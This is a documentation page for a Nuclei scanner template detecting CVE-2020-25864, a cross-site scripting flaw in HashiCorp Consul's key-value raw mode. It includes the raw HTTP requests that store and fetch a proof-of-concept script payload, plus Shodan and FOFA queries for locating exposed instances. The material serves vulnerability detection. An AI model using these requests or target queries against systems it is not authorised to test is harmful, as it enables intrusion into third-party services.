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HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting

ID: CVE-2020-25864

Severity: medium

Author: c-sh0

Tags: cve,cve2020,consul,xss,intrusive,hashicorp

Description

Section titled “Description”

HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.

YAML Source

Section titled “YAML Source”
id: CVE-2020-25864


info:
  name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
  author: c-sh0
  severity: medium
  description: |
    HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
  remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
    - https://www.hashicorp.com/blog/category/consul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
    - https://security.gentoo.org/glsa/202208-09
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25864
    cwe-id: CWE-79
    epss-score: 0.00324
    epss-percentile: 0.70681
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    max-request: 2
    vendor: hashicorp
    product: consul
    shodan-query:
      - http.title:"consul by hashicorp"
      - cpe:"cpe:2.3:a:hashicorp:consul"
    fofa-query: title="consul by hashicorp"
    google-query: intitle:"consul by hashicorp"
  tags: cve,cve2020,consul,xss,intrusive,hashicorp


http:
  - raw:
      - |
        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
        Host: {{Hostname}}


        <!DOCTYPE html><script>alert(document.domain)</script>
      - |
        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html


      - type: word
        part: body_2
        words:
          - <!DOCTYPE html><script>alert(document.domain)</script>


      - type: status
        status:
          - 200
# digest: 490a0046304402205ff58a58d84f275b136c128d42497fc644b958cd9217ea2b870c01f4f705737502200435b2bad649ddd372bac61683c5910c8fcc47f748f4a2fbe5361a82aed50603:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-25864.yaml"

View on Github